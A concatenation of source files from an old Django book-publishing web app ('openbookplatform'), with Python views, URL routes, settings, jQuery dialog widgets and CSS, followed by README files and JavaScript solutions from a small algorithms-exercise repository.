dispatcher.connect(post_delete_comment , signal=signals.post_delete, sender=Comment)
<file_sep>from django.contrib.auth.models import User
from utils.common import render_template
from apps.users.models import UserProfile
def check_valid_user(request, user_id):
if request.user.is_anonymous():
return render_template(request, 'users/user_login.html', {'next':'%s' % request.path})
try:
person = User.objects.get(pk=int(user_id))
except User.DoesNotExist:
return render_template(request, 'error.html', {'message':_("User ID (%s) is not existed!") % user_id})
try:
profile = person.get_profile()
except:
#if there is no profile record existed, then create a new record first
profile = UserProfile(user=person)
profile.save()
if person.id != request.user.id:
return render_template(request, 'error.html', {'message':_('You have no right to view the page!')})
<file_sep>(function($){
var _o={
trigger:'.dialog',
close:'.dialogClose',
width:500,
height:400,
title:'Dialog',
center:true,
onload:false,
unload:false
}
$.fn.dialog = function(o){
var d=new Dialog(this,o);
return d.build();
};
Dialog=function(d,o){
this.target=$(d);
this.o=$.extend({}, _o, o);
this.setup=false;
};
$.extend(Dialog.prototype, {
build:function(){
var self=this;
var wrap = $('<div class="dialog">'
+'<div class="dialogTop">'
+'<div class="dialogTopContent">' + self.o.title + '</div>'
+'<img src="/site_media/img/dialog_close.jpg" class="dialogClose" />'
+'</div>'
+'<div class="dialogBottom"><div class="dialogBottomContent"> </div></div>'
+'<div class="dialogContent"></div>'
+'<img src="/site_media/img/dialog_resize.gif" class="dialogResize" />'
+'</div>').hide()
.appendTo('body')
.css({'z-index':3000, 'position':'absolute',
'height':self.o.height + 'px', 'width':self.o.width + 'px'});
self.target.css('display', 'block');
self.wrap=wrap;
self._addTableContent()._addButtons();
self.content.append(self.target);
self._bind();
return self;
},
_addTableContent:function(){
this.wrap.find('div.dialogContent').append('<table cellpadding="0" cellspacing="0" border="0" width="100%" height="100%"><tr><td><div class="content"></div></td></tr><tr><td class="ft"></td></tr></table>');
this.content=this.wrap.find('div.dialogContent div.content');
return this;
},
_addButtons:function(){
this.wrap.find('div.dialogContent td.ft').append('<div class="actions"><div class="message"></div><div class="buttons"></div></div>');
this.message=this.wrap.find('div.dialogContent div.message');
this.buttons=this.wrap.find('div.dialogContent div.buttons');
return this;
},
_bind:function(){
var self=this;
$(self.o.trigger).click(function(){
if (self.o.onload)
self.o.onload(self);
else {
if (self.o.center){
var left = $(window).width()/2 - self.wrap.width()/2;
//IE中不存在window.scrollY属性
if(!$.browser.msie)
var t = window.scrollY + $(window).height()/2 - self.wrap.height()/2;
else
var t = $(window).height()/2 - self.wrap.height()/2;
self.wrap.css({'top':t+'px', 'left':left+'px'});
}
if(!self.setup){
var restoreStyle=null;
var oldVisibility=null;
oldVisibility = self.wrap.css('visibility');
self.wrap.css('visibility', 'hidden').show();
self._resize(self.o.width, self.o.height);
self.wrap.hide();
self.wrap.css('visibility', oldVisibility);
self.setup = true;
}
self.wrap.show();
}
});
self.wrap.find(self.o.close).click(function(){
if (self.o.unload)
self.o.unload(self.wrap);
else
self.wrap.hide();
});
self.wrap.jqResize('.dialogResize', {resize:self._resize});
self.wrap.jqDrag('.dialogTopContent');
},
_resize:function(w,h){
var self=this;
$('.dialogBottom, .dialogBottomContent', self.wrap).css('height', h-33 + 'px');
$('.dialogContent', self.wrap).css('width', w - 25 + 'px').css('height', h-48 + 'px');
$('.dialogContent .content', self.wrap).css({width:w-34+'px',height:h-98+'px'});
},
close:function(){
this.wrap.hide();
}
});
})(jQuery);
<file_sep>#coding=utf-8
from apps.books.models import Book, Chapter
from utils.lib_page import Page
from apps.books.validator import AddCommentValidator
from utils import ajax
from utils.common import render_template
def booklist(request):
user = request.user
return render_template(request, 'books/list.html')
def _get_data(request, obj):
if obj.icon:
icon = '<img class="border" src="/site_media/%s" alt="%s"/>' % (obj.get_icon_url(), obj.title)
else:
icon = '<img class="border" src="/site_media/img/book_icon.jpg" alt="%s"/>' % obj.title
authors = [x.username for x in obj.authors.all()]
return ({'id':obj.id, 'icon':icon, 'title':obj.title,
'description':obj.description, 'author':','.join(authors),
'modifydate':obj.modifydate.strftime("%b %d,%Y %I:%m %p")})
def ajax_list(request):
pagenum = 10
result = []
objs = Book.objects.all()
page = Page(objs, request, paginate_by=pagenum)
for o in page.object_list:
result.append(_get_data(request, o))
pages = (objs.count() + pagenum - 1) / pagenum
cur = int(request.GET.get('page', 1))
return ajax.ajax_ok_data((cur, pages, result))
def content(request, book_id):
book = Book.objects.get(pk=int(book_id))
return render_template(request, 'books/content.html', {'book':book})
def chapter(request, book_id, chapter_num):
book = Book.objects.get(pk=int(book_id))
chapter = Chapter.objects.get(num=chapter_num, book=book)
prev, next = None, None
nexts = Chapter.objects.filter(num__gt=chapter_num, book=book)
if nexts:
next = nexts[0]
prevs = Chapter.objects.filter(num__lt=chapter_num, book=book)
if prevs:
prev = list(prevs)[-1]
return render_template(request, 'books/chapter.html', {'book':book,
'chapter':chapter, 'next':next, 'prev':prev, 'COOKIES':request.COOKIES})
def chapter_comments_info(request, book_id, chapter_num):
book = Book.objects.get(pk=int(book_id))
chapter = Chapter.objects.get(num=chapter_num, book=book)
objs = chapter.commentinfo_set.all()
result = {}
def _get_data(result, obj):
result[obj.comment_num] = obj.count
for obj in objs:
_get_data(result, obj)
return ajax.ajax_ok(result)
from utils.easy_cookie import set_cookie
def add_comment(request, book_id, chapter_num):
m = AddCommentValidator(request, book_id, chapter_num)
f, obj = m.validate_and_save(request)
if f:
response = ajax.ajax_ok(message='ok')
set_cookie(response, 'username', request.REQUEST.get('username', ''))
set_cookie(response, 'email', request.REQUEST.get('email', ''))
set_cookie(response, 'website', request.REQUEST.get('website', ''))
return response
return ajax.ajax_fail(obj, message='error')
from utils.textconvert import plaintext2html
def _get_comment_data(result, obj):
if obj.website:
username = '<a rel="nofollow" href="%s">%s</a>' % (obj.website, obj.username)
else:
username = obj.username
status = ''
if obj.status == 1:
status = '<span class="thanks" title="%s">√</span>' % obj.reply
if obj.html:
content = obj.html
else:
content = plaintext2html(obj.content)
result.append({'username':username,
'content':content, 'status':status,
'createtime':obj.createtime.strftime("%b %d,%Y %I:%m %p")})
def chapter_comments(request, book_id, chapter_num):
book = Book.objects.get(pk=int(book_id))
chapter = Chapter.objects.get(num=chapter_num, book=book)
objs = chapter.comment_set.all()
result = []
for obj in objs:
_get_comment_data(result, obj)
return ajax.ajax_ok(result)
def chapter_num_comments(request, book_id, chapter_num, comment_num):
book = Book.objects.get(pk=int(book_id))
chapter = Chapter.objects.get(num=chapter_num, book=book)
objs = chapter.comment_set.filter(comment_num=comment_num)
result = []
for obj in objs:
_get_comment_data(result, obj)
return ajax.ajax_ok(result)
<file_sep>/*-------------------------------------------------
BASIC FORM
-------------------------------------------------*/
.basic_form {
font-family: verdana, sans-serif;
}
.basic_form p.blockintro {
color: #666;
font-size: 9pt;
line-height: 14px;
margin: 0;
}
.basic_form dl {}
.basic_form dt {
width: 90px;
margin: 4px 8px 0 0; padding: 0;
text-align: right;
white-space: nowrap;
float: left;
clear: left;
position: relative;
font-size: 9pt;
}
.basic_form dd {
margin: 0 0 5px 0px;
font-size: 9pt;
}
.basic_form dd div.field_with_errors {
}
.basic_form .error{
color: red;
margin-left: 90px;
}
.basic_form dt.required {
font-weight: bold;
}
.basic_form dd input {
vertical-align: middle;
}
.basic_form table {}
.basic_form table td {
font-size: 9pt;
}
.basic_form table th {
font-size: 9pt;
font-weight: normal;
text-align: right;
}
.basic_form table th.required {
font-weight: bold;
}
div.block, .basic_form div.block {
color: #333;
background: #f0f0f0;
margin: 3px 0 25px 0;
padding: 5px;
font-size: 11px;
font-weight: normal;
}
.basic_form div.block input {
font-size: 10pt;
}
.basic_form h2 {
font-size: 14px;
color: #333;
margin-bottom: 10px;
padding: 0;
margin: 0 0 5px 0;
}
.basic_form div.action, div.action {
border-top: 2px solid #000;
margin-bottom: 10px;
text-align: right;
padding-top: 8px;
font-size: 12px;
}
.basic_form div p {
margin: 0;
}
#ContentFrame, .ContentFrame {
margin: 0;
padding: 0px 0;
width: 100%;
text-align: left;
/*position: relative;*/
}
#ContentFrame p, .ContentFrame p{
font-size: 9pt;
}
#ContentFrame li {list-style-type:none;}
#ContentFrame ul {padding-left:2px;}
.modalform { padding: 0px; background-color:#fff; width:100%; height:100%;overflow: auto; text-align: left; font-size:9pt;}
.modalform .bd {margin-bottom:5px;}
.modalform .bd input, .modalform .bd textarea { width: 90%; font-size: 9pt;}
.modalform .bd lable.require { font-weight: bold; display: block; color: #487858; }
.modalform .bd lable { display: block; color: #487858; }
.modalform .bd textarea { width: 92%; }
.modalform .bd p { margin-top: 2px; margin-bottom: 2px; margin-left:6px;}
.modalform .ft { height:30px; overflow:hidden; padding: 6px; margin-bottom: 5px;}
.modalform .ft .message { font-size: 90%; margin:0; padding:0; float:left; clear:none; width:250px; }
.modalform .ft .loading { background: url(/site_media/img/ajax_loading.gif) no-repeat center left; }
.modalform .ft .submit-wrapper { float:right; clear:none;white-space:nowrap; width: 150px; text-align: right;}
.modalform .ft .submit-wrapper input { font-size: 11px; }
.modalform .error { background: url(/site_media/img/error.png) no-repeat center left; color: red; font-weight: bold; margin:0 0 0 6px;}
.simple_form{border:6px solid #CCC;padding:10px;width:300px;background-color:white;}
.simple_form label{display:block;}
.simple_form p{margin:0;}
.simple_form .field{width:100%;}
.simple_form .ft{text-align:right;}
.simple_form .error{color:red;}
.simple_form .required{font-weight:bold;}
.alignTop {vertical-align:top;}
<file_sep>from django.conf.urls.defaults import *
from django.conf import settings
urlpatterns = patterns('',
# (r'^$', cache_page(apps.portal.views.index, 60*30)),
(r'^$', 'apps.portal.views.index'),
(r'^login/$', 'apps.portal.views.login'),
(r'^logout/$', 'apps.users.views.auth.user_logout'),
(r'^register/$', 'apps.users.views.auth.user_register'),
(r'^license/$', 'apps.portal.views.license'),
(r'^help/$', 'apps.portal.views.help'),
(r'^user/(?P<object_id>\d+)/$', 'apps.users.views.views.user_detail'),
(r'^user/(?P<object_id>\d+)/edit/$', 'apps.users.views.views.user_edit'),
(r'^user/(?P<object_id>\d+)/book/ajax_list/$', 'apps.users.views.bookviews.user_books_list'),
(r'^user/(?P<object_id>\d+)/book/new/$', 'apps.users.views.bookviews.user_book_edit'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/$', 'apps.users.views.bookviews.user_book_detail'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/authors/$', 'apps.users.views.bookviews.user_book_authors'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/addauthor/$', 'apps.users.views.bookviews.user_book_addauthor'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/edit/$', 'apps.users.views.bookviews.user_book_edit'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/chapters/$', 'apps.users.views.bookviews.user_book_chapters'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/deletechapters/$', 'apps.users.views.bookviews.user_chapters_delete'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/chapter/(?P<chapter_id>\d+)/$', 'apps.users.views.bookviews.user_chapter'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/chapter/(?P<chapter_id>\d+)/comments/$', 'apps.users.views.bookviews.user_chapter_comments'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/chapter/(?P<chapter_id>\d+)/deletecomment/$', 'apps.users.views.bookviews.user_chapter_delcomment'),
(r'^user/(?P<object_id>\d+)/book/(?P<book_id>\d+)/addchapter/$', 'apps.users.views.bookviews.user_chapter'),
(r'^user/(?P<object_id>\d+)/book/delete/$', 'apps.users.views.bookviews.user_books_delete'),
(r'^user/(?P<object_id>\d+)/book/$', 'apps.users.views.bookviews.user_books'),
(r'^booklist/$', 'apps.books.views.booklist'),
(r'^booklist/ajax_list/$', 'apps.books.views.ajax_list'),
(r'^book/(?P<book_id>\d+)/$', 'apps.books.views.content'),
(r'^book/(?P<book_id>\d+)/(?P<chapter_num>[^/]+)/commentsinfo/$', 'apps.books.views.chapter_comments_info'),
(r'^book/(?P<book_id>\d+)/(?P<chapter_num>[^/]+)/addcomment/$', 'apps.books.views.add_comment'),
(r'^book/(?P<book_id>\d+)/(?P<chapter_num>[^/]+)/allcomments/$', 'apps.books.views.chapter_comments'),
(r'^book/(?P<book_id>\d+)/(?P<chapter_num>[^/]+)/(?P<comment_num>[^/]+)/$', 'apps.books.views.chapter_num_comments'),
(r'^book/(?P<book_id>\d+)/(?P<chapter_num>[^/]+)/$', 'apps.books.views.chapter'),
(r'^rss/', include('apps.rss.urls')),
# (r'^site_media/(.*)$', 'django.views.static.serve', {'document_root': settings.SITE_MEDIA}),
(r'^site_media/(.*)$', 'utils.staticview.serve', {'document_root': settings.SITE_MEDIA, 'app_media_folder':'media'}),
(r'^admin/', include('django.contrib.admin.urls')),
)
<file_sep>from django.conf.urls.defaults import *
urlpatterns = patterns('',
# (r'^index.html$', 'portal.views.index'),
)
<file_sep>user_logout = object()<file_sep>#coding=utf-8
from django.contrib.auth.models import User
from apps.books.models import Book, Chapter, Comment
from utils.lib_page import Page
from utils import ajax
from apps.books.validator import BookValidator, ChapterValidator
from utils.common import render_template, setting
def user_books(request, object_id):
user = User.objects.get(pk=int(object_id))
return render_template(request, 'users/user_book.html', {'person':user})
def _get_data(request, obj):
if obj.icon:
icon = '<img class="border" src="/site_media/%s" alt="%s"/>' % (obj.get_icon_url(), obj.title)
else:
icon = '<img class="border" src="/site_media/img/book_icon.jpg" alt="%s"/>' % obj.title
authors = [x.username for x in obj.authors.all()]
checkbox = '<input type="checkbox" name="book_id" value="%d"/>' % obj.id
return ({'id':obj.id, 'icon':icon, 'title':obj.title,
'description':obj.description, 'author':','.join(authors),
'checkbox':checkbox})
def user_books_list(request, object_id):
#because filtermiddleware guarantee the url match with request.user
#so here don't need to get the user object, but just using request.user
# user = User.objects.get(pk=int(object_id))
user = request.user
pagenum = 10
result = []
#if the user is superuser, then all book will be shown
if user.is_superuser:
objs = Book.objects.all()
else:
objs = user.book_set.all()
page = Page(objs, request, paginate_by=pagenum)
for o in page.object_list:
result.append(_get_data(request, o))
pages = (objs.count() + pagenum - 1) / pagenum
cur = int(request.GET.get('page', 1))
return ajax.ajax_ok((cur, pages, result))
def user_books_delete(request, object_id):
user = request.user
ids = request.POST.getlist('book_id')
if ids:
for book in Book.objects.filter(id__in=ids):
book.delete()
return ajax.ajax_ok(_('Success!'))
def user_book_edit(request, object_id, book_id=None):
user = request.user
v = BookValidator(request, book_id)
flag , obj = v.validate_and_save(request)
if flag:
return ajax.ajax_ok(message=_('Success!'))
return ajax.ajax_fail(obj,message=_('Fail!'))
def user_book_detail(request, object_id, book_id):
user = User.objects.get(pk=int(object_id))
book = Book.objects.get(pk=int(book_id))
return render_template(request, 'users/user_book_detail.html',
{'person':user, 'book':book})
def user_book_chapters(request, object_id, book_id):
user = User.objects.get(pk=int(object_id))
book = Book.objects.get(pk=int(book_id))
objs = book.chapter_set.all()
result = []
def _get_data(request, obj):
checkbox = '<input type="checkbox" name="chapter_id" value="%d"/>' % obj.id
return ({'id':obj.id, 'chapter_num':obj.num, 'title':obj.title,
'abstract':obj.abstract, 'checkbox':checkbox, 'date':obj.modifydate.strftime("%b %d,%Y %I:%m %p")})
for o in objs:
result.append(_get_data(request, o))
return ajax.ajax_ok(result)
def user_chapters_delete(request, object_id, book_id):
ids = request.POST.getlist('chapter_id')
if ids:
for chapter in Chapter.objects.filter(id__in=ids):
chapter.delete()
return ajax.ajax_ok(next=setting('URLROOT') + '/user/%s/book/%s/' % (object_id, book_id))
def user_chapter(request, object_id, book_id, chapter_id=None):
if request.GET:
o = Chapter.objects.get(pk=int(chapter_id))
result = {'id':o.id, 'content':o.content, 'abstract':o.abstract,
'title':o.title, 'date':o.modifydate.strftime("%b %d,%Y %I:%m %p")}
return ajax.ajax_ok(result)
else:
v = ChapterValidator(request, book_id, chapter_id)
if request.POST:
flag, obj = v.validate_and_save(request)
if flag:
return ajax.ajax_ok(message=_("Success!"))
return ajax.ajax_fail(obj, message=_("There are some errors!"))
else:
user = User.objects.get(pk=int(object_id))
book = Book.objects.get(pk=int(book_id))
chapter = Chapter.objects.get(pk=int(chapter_id))
return render_template(request, 'users/user_chapter.html',
{'person':user, 'book':book, 'chapter':chapter})
def user_book_authors(request, object_id, book_id):
book = Book.objects.get(pk=int(book_id))
result = []
for obj in book.authors.all():
result.append({'username':obj.username})
return ajax.ajax_ok(result)
from apps.books.validator import AddUserValidator
def user_book_addauthor(request, object_id, book_id):
v = AddUserValidator(book_id)
flag, obj = v.validate_and_save(request)
if flag:
return ajax.ajax_ok()
return ajax.ajax_fail(obj)
from utils.textconvert import plaintext2html
def _get_comment_data(result, obj):
if obj.website:
username = '<a rel="nofollow" href="%s">%s</a>' % (obj.website, obj.username)
else:
username = obj.username
status = ''
if obj.status == 1:
status = '<span class="thanks" title="%s">√</span>' % obj.reply
if obj.html:
content = obj.html
else:
content = plaintext2html(obj.content)
html = '<a class="delete" href="#">[X]</a> %s %s:[%s] %s' % (status, username, obj.comment_num, content)
# result.append({'username':username,
# 'content':plaintext2html(obj.content), 'status':status,
# 'createtime':obj.createtime.strftime("%b %d,%Y %I:%m %p")})
result.append({'html':html, 'id':obj.id})
def user_chapter_comments(request, object_id, book_id, chapter_id):
chapter = Chapter.objects.get(pk=int(chapter_id))
objs = chapter.comment_set.all().order_by('comment_num', 'createtime')
result = []
for obj in objs:
_get_comment_data(result, obj)
return ajax.ajax_ok(result)
def user_chapter_delcomment(request, object_id, book_id, chapter_id):
obj = Comment.objects.get(pk=int(request.POST['comment_id']))
obj.delete()
return ajax.ajax_ok(message='ok')<file_sep>$.fn.modal = function(opts, onload, unload){
var _o = {
trigger: '.jqmodal',
close: '.windowClose',
min:'.windowMin',
max:'.windowMax',
width:500,
height:400,
title:'Comments',
center:false
};
var t=$(this);
var w;
var w_id;
function resize(size, position){
$('.windowBottom, .windowBottomContent', w).css('height', size.height-33 + 'px');
var windowContentEl = $('.windowContent', w).css('width', size.width - 25 + 'px');
if (!w.get(0).isMinimized) {
windowContentEl.css('height', size.height - 48 + 'px');
}
};
function build(target){
var id = ++$.modal.no;
$(target).css('display', 'block');
var wrap = $('<div id="modalwindow' + id + '" class="modalwindow">'
+'<div class="windowTop">'
+'<div class="windowTopContent">' + _o.title + '</div>'
/* +'<img src="/site_media/img/window_min.jpg" class="windowMin" />'*/
/* +'<img src="/site_media/img/window_max.jpg" class="windowMax" />'*/
+'<img src="/site_media/img/window_close.jpg" class="windowClose" />'
+'</div>'
+'<div class="windowBottom"><div class="windowBottomContent"> </div></div>'
+'<div class="windowContent"></div>'
+'<img src="/site_media/img/window_resize.gif" class="windowResize" />'
+'</div>');
wrap.appendTo('body').find('.windowContent').append(target);
wrap.css({'z-index':3000, 'position':'absolute', 'display':'none',
'height':_o.height + 'px', 'width':_o.width + 'px'});
return wrap;
}
$.extend(_o, opts);
w = build(t);
w_id = w.attr('id');
$(_o.trigger).click(function(){
if (onload)
onload(w);
else {
if (_o.center){
var left = $(window).width()/2 - w.width()/2;
//IE中不存在window.scrollY属性
//var t = window.scrollY + $(window).height()/2 - w.height()/2;
var t = $(window).height()/2 - w.height()/2;
w.css({'top':t+'px', 'left':left+'px'});
}
resize({'height':_o.height, 'width':_o.width});
w.fadeIn('high');
}
this.blur();
});
w.find(_o.close).click(function(){
if (unload)
unload(w);
else
//这种效果有闪动
//w.fadeOut('high').hide();
w.hide();
});
/*
w.find(_o.min).click(function(){
$('.windowContent', w).slideToggle(300);
$('.windowBottom, .windowBottomContent', w).animate({height: 10}, 300);
$(w).animate({height:40},300).get(0).isMinimized = true;
$(this).hide();
$('.windowResize', w).hide();
$('.windowMax', w).show();
});
w.find(_o.max).click(function(){
var windowSize = getSize($('.windowContent', w).get(0));
$('.windowContent', w).slideToggle(300);
$('.windowBottom, .windowBottomContent', w).animate({height: windowSize.hb + 13}, 300);
$(w).animate({height:windowSize.hb+43}, 300).get(0).isMinimized = false;
$(this).hide();
$('.windowMin, .windowResize', w).show();
});
*/
w.Resizable(
{
minWidth: 500,
minHeight: 400,
maxWidth: 700,
maxHeight: 400,
dragHandle: '#' + w_id + ' .windowTop',
handlers: {
se: '#' + w_id + ' .windowResize'
},
onResize : resize
});
};
$.modal = {
no:0
};
<file_sep># Django settings for openbook project.
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('<NAME>', '<EMAIL>'),
)
MANAGERS = ADMINS
DATABASE_ENGINE = 'sqlite3' # 'postgresql', 'mysql', 'sqlite3' or 'ado_mssql'.
DATABASE_NAME = './database.db' # Or path to database file if using sqlite3.
DATABASE_USER = '' # Not used with sqlite3.
DATABASE_PASSWORD = '' # Not used with sqlite3.
DATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3.
DATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.
# Local time zone for this installation. All choices can be found here:
# http://www.postgresql.org/docs/8.1/static/datetime-keywords.html#DATETIME-TIMEZONE-SET-TABLE
TIME_ZONE = 'GMT-8'
# Language code for this installation. All choices can be found here:
# http://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes
# http://blogs.law.harvard.edu/tech/stories/storyReader$15
LANGUAGE_CODE = 'en-us'
SITE_ID = 1
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
# Absolute path to the directory that holds media.
# Example: "/home/media/media.lawrence.com/"
MEDIA_ROOT = 'media/'
# URL that handles the media served from MEDIA_ROOT.
# Example: "http://media.lawrence.com"
MEDIA_URL = ''
# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a
# trailing slash.
# Examples: "http://foo.com/media/", "/media/".
ADMIN_MEDIA_PREFIX = '/media/'
# Make this unique, and don't share it with anybody.
SECRET_KEY = '<KEY> <KEY>
# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
'django.template.loaders.filesystem.load_template_source',
'django.template.loaders.app_directories.load_template_source',
# 'django.template.loaders.eggs.load_template_source',
)
MIDDLEWARE_CLASSES = (
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.middleware.doc.XViewMiddleware',
'django.middleware.gzip.GZipMiddleware',
'django.middleware.transaction.TransactionMiddleware',
# 'utils.middle_profile.ProfileMiddleware',
'utils.middle_filter.FilterMiddleware',
'utils.middle_format.FormatMiddleware',
)
ROOT_URLCONF = 'openbookplatform.urls'
TEMPLATE_DIRS = (
# Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
)
INSTALLED_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.admin',
'apps.users',
'apps.books',
'apps.common',
'apps.portal',
#ui app
'apps.ui_dialog',
'apps.ui_border',
)
#user defined variable
SITE_MEDIA = './media'
TEMPLATE_CONTEXT_PROCESSORS = (
'django.core.context_processors.auth',
'django.core.context_processors.debug',
'django.core.context_processors.i18n',
'django.core.context_processors.request',
'utils.setting_process.settings',
)
AUTH_PROFILE_MODULE = 'users.UserProfile'
#CACHE_BACKEND = 'file://d:/project/svn/openbook/cache'
CACHE_BACKEND = 'dummy:///'
FILTERS = (
(r'^user/(?P<user_id>\d+)/', 'apps.users.filter.check_valid_user'),
)
URLROOT = ''<file_sep>{% extends "base.html" %}
{% load i18n utiltags %}
{% block menu %}{% call "menu.html" with currentpage="user" %}{% endblock %}
{% block body %}
<script type="text/javascript">
$(document).ready(function(){
$('#deleteuser').click(function(){
$.post('{{ setting.URLROOT }}/user/delete/', $('#users').getdict(), function(data){
var result = data.evalJson();
if (result['response'] == 'ok'){
if (result['next'])
window.location = result['next'];
}
});
});
$('#addsysuser').click(function(){
$.post('{{ setting.URLROOT }}/user/addsysmanager/', $('#users').getdict(), function(data){
var result = data.evalJson();
if (result['response'] == 'ok'){
if (result['next'])
window.location = result['next'];
}
});
});
});
</script>
{% catch as header %}
<h1>成员信息</h1>
{% endcatch %}
{% catch as content %}
<table width="100%" cellpadding="8px" id="users">
<tr>
{% for item in users %}
{% pyif not forloop['counter0'] % 5 %}</tr><tr>{% endif %}
<td width="20%"><a class="admin" href="{{ setting.URLROOT }}/user/{{ item.id }}/"><img class="link" src="/site_media/{{ item.userprofile.get_portrait_url|default:"img/user.jpg" }}"/></a><p><input type="checkbox" name="userid" value="{{ item.id }}"/>{{ item.username }}</p></td>
{% endfor %}
{% expr range(users.count() % 5) as number %}
{% for i in number %}
<td> </td>
{% endfor %}
</tr>
</table>
{% endcatch %}
{% catch as sidebar %}
<h1>系统管理员</h1>
<ul>
{% for u in users %}
{% if u.is_superuser %}
<li>{{ u.username }}</li>
{% endif %}
{% endfor %}
</ul>
<h1>功能</h1>
{% if user.is_superuser %}
<p><a class="admin" href="#" id="deleteuser">删除选中成员</a></p>
<p><a class="admin" href="#" id="addsysuser">将选中成员设置为系统管理员</a></p>
{% endif %}
{% endcatch %}
{% call "utils/contentframe.html" with header content sidebar %}
{% endblock %}
<file_sep>#coding=utf-8
from utils.common import render_template
from django.contrib.auth.models import User
from utils import ajax
from apps.users.views.authvalidator import ChangeValidator
def user_detail(request, object_id):
person = User.objects.get(pk=int(object_id))
return render_template(request, 'users/user_detail.html', {'person':person})
def user_edit(request, object_id):
if request.POST:
v = ChangeValidator(request, object_id)
f, obj = v.validate_and_save(request)
if f:
return ajax.ajax_ok(message=_('User infomation updated successful!'))
return ajax.ajax_fail(obj)
else:
user = User.objects.get(pk=int(object_id))
d = {'person':user}
return render_template(request, 'users/user_edit.html', d)
<file_sep>from utils.common import render_template
from django.template.context import RequestContext
def index(request):
return render_template(request, 'index.html')
def license(request):
return render_template(request, 'license.html')
def help(request):
return render_template(request, 'help.html')
def login(request):
if request.POST:
from apps.users.views.auth import user_login
return user_login(request)
else:
return render_template(request, 'users/user_login.html')
|
c6cf8d1c0c09a2205c7328c143e5a6000835af32
|
[
"HTML",
"JavaScript",
"Python",
"CSS"
] | 24 |
HTML
|
ZoomQuiet/openbookplatform
|
6d8700598138a240ddd8c9ffdf14d413518df3e2
|
9bb82972a92bc60aea616a89d8fbc46d1b9b741d
|
refs/heads/main
|
<repo_name>irving226/MonteCarlo<file_sep>/README.md
# MonteCarlo
A program that uses the Monte Carlo principle to guesstimate the value of pi through randomly generating values of x and y
|
afc2dbe7c86faedb6c72a4cba017ca840fe045ab
|
[
"Markdown"
] | 1 |
Markdown
|
irving226/MonteCarlo
|
7eae5491b11fe0dbe0175f8a28a474be68f7d301
|
56b18261d53e0751f7f8354df5dc3a70496ce9f7
|
refs/heads/master
|
<repo_name>IvaTsu/algorithms-and-data-structures<file_sep>/algorithms/arrays/VectorMultiplication/README.md
# Vector Multiplication
### Info
Given a non-empty array of integers, return the result of multiplication of each item in an array.
## Examples
```
[1, 2, 3] -> 6,
[4, 5, 6, 7, 8, 9] -> 60480
```
### See solutions:
- [JavaScript](javascript/vectorMultiplication.js)
<file_sep>/algorithms/arrays/AddBorder/README.md
# Add Border
### Info
Given a rectangular matrix of characters, add a border of asterisks(\*) to it.
For:
```
picture = [
"abc",
"ded"
]
```
the output should be:
```
addBorder(picture) = [
"*****",
"*abc*",
"*ded*",
"*****"]
```
### References
- Found at [CodeSignal](https://www.codesignal.com/).
### See solutions:
- [JavaScript](javascript/addBorder.js)
<file_sep>/algorithms/fundamentals/FindIntegral/README.md
# Find Integral
### Info
Create a function that finds the integral of the expression passed, the expression structure is `nx^m`, e.g. `3x^2`, etc.
For example for `3x^2`, the integral would be `1x^3`.
### Hint
In order to find the integral for such expression, all you need to do is add one to the exponent (the second argument) and divide the coefficient (the first argument) by that new number.
### Notes
The output should be a string.
The coefficient and exponent is always a positive integer.
## Examples
```
"3x^2" -> "1x^3"
"12x^5" -> "2x^6"
"20x^1" -> "10x^2"
"40x^3" -> "10x^4"
"90x^2" -> "30x^3"
```
### References
- Found at [CodeWars](https://www.codewars.com/kata/find-the-integral/train/javascript).
### See solutions:
- [JavaScript](javascript/findIntegral.js)
<file_sep>/algorithms/arrays/AddBorder/javascript/addBorder.js
// 1. It is possible to compose the result, from a few cases:
// 1.1. The array [* ... *] at the very top and very bottom should be the same.
// 1.2. Add * at the beginning and at the end of the next "n - 2" rows.
// 2. Combine results from those cases.
function addBorder(picture) {
const pictureMatrix = [];
let pictureHead = "";
for (let i = 0; i < picture[0].length + 2; i++) {
pictureHead += "*";
}
pictureMatrix.push(pictureHead);
let pictureBody = "";
for (let i = 0; i < picture.length; i++) {
pictureBody += "*";
let pic = picture[i];
for (let j = 0; j < picture[0].length; j++) {
pictureBody += pic.charAt(j);
}
pictureBody += "*";
pictureMatrix.push(pictureBody);
pic = "";
pictureBody = "";
}
pictureMatrix.push(pictureHead);
return pictureMatrix;
}
module.exports = addBorder;
<file_sep>/algorithms/arrays/VectorMultiplication/javascript/vectorMultiplication.js
function vectorMultiplication(vector) {
const result = vector.reduce(function(previousValue, currentValue) {
return previousValue * currentValue;
});
return result;
}
module.exports = vectorMultiplication;<file_sep>/algorithms/strings/CountLetters/README.md
# Count Letters
### Info
The main idea is to count all the occuring characters `(UTF-8)` in string. If you have string like this `"aba"` then the result should be `{ 'a': 2, 'b': 1 }`.
What if the string is empty ? Then the result should be empty object literal `{ }`.
- Input: `"aba"`; `""`.
- Output: `{ 'a': 2, 'b': 1 }`; `{}`.
### References
- Found at [CodeWars](https://www.codewars.com/).
### See solutions:
- [JavaScript](javascript/countLetters.js)
<file_sep>/CONTRIBUTING.md
# CONTRIBUTING
- I welcome pull requests from anyone! Please follow these steps to contribute:
- Find an issue that needs assistance by searching for the `#help-wanted` tag.
- Let me know you are working on it by posting a comment on the `issue`.
